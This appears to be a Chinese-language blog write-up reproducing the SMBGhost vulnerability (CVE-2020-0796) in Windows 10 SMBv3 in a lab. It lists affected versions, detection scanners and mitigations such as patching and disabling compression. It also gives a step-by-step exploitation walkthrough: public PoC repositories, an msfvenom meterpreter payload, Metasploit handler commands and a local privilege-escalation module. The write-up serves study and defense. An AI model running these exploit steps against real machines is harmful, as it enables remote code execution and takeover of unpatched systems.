说明:
这个漏洞几个月前就复现过了,但是没有记录,当时是可行的,现在Windows 10自动更新已经修复了这个漏洞,当时也没保存镜像,所以无法成功复现~
简介:
2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码
该漏洞是SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏环境,导致可被攻击者利用远程执行任意代码。
影响版本:
只影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。(只影响 SMB v3.1.1,1903和1909)
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
复现环境:
环境准备:
靶机:192.168.107.130(Windows 10)
攻击机:192.168.107.129 (Kali)
物理机:172.17.82.57(Windows 10)
镜像文件:ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|
查看靶机版本信息:
查看靶机系统补丁情况(是否存在KB4551762):
虽然这个上面没有显示KB4551762的补丁,但是我一直都有更新补丁,可能是显示不全,所以大家还是去window更新里面点击查看更新历史记录里面的其他更新:
漏洞检测:
1、项目地址:https://github.com/ollypwn/SMBGhost
据说这个脚本结果有点不准,主机打过补丁也显示可攻击
2、奇安信检测工具:
项目地址:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
适用于局域网批量检测,快速查找未打补丁的机器:
3、腾讯电脑管家SMB漏洞修复工具:
http://dlied6.qq.com/invc/QQPatch/QuickFix_SMB0796.exe
漏洞利用:
蓝屏POC:
项目地址:https://github.com/eerykitty/CVE-2020-0796-PoC
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
python3 setup.py install
python3 CVE-2020-0796.py 192.168.107.130
远程POC:
项目地址:https://github.com/chompie1337/SMBGhost_RCE_PoC.git
具体利用过程:
1、利用msf生成py文件,得到恶意code
msfvenom -p windows/x64/meterpreter/bind_tcp lport=6666 -f py -o book4yi.py
2、将book4yi.py 生成的code,替换到exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD
3、进入msf进行监听,输入以下命令:
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666
set rhost 192.168.107.130
run
4、运行exploit.py
python3 exploit.py -ip 192.168.107.130
本地提权POC:
项目地址:https://github.com/danigargu/CVE-2020-0796
编译后直接运行即可
msf也有相应的利用模块:
search cve:2020
exploit/windows/local/cve_2020_0796_smbghost
防御手段:
1、更新微软针对该漏洞所发布的的修复补丁:KB4551762
补丁链接:https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0796
2、在注册表中建立一个名为 DisableCompression 的 DWORD (值为1) ,以禁用SMBv3的压缩功能
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
3、在边界防火墙对 TCP 445端口进行封堵
参考如下:
【CVE-2020-0796】漏洞POC复现
CVE-2020-0796 (永恒之黑)复现
CVE-2020-0796 漏洞检测及利用工具
漏洞复现|CVE-2020-0796(SMBv3远程代码执行)漏洞复现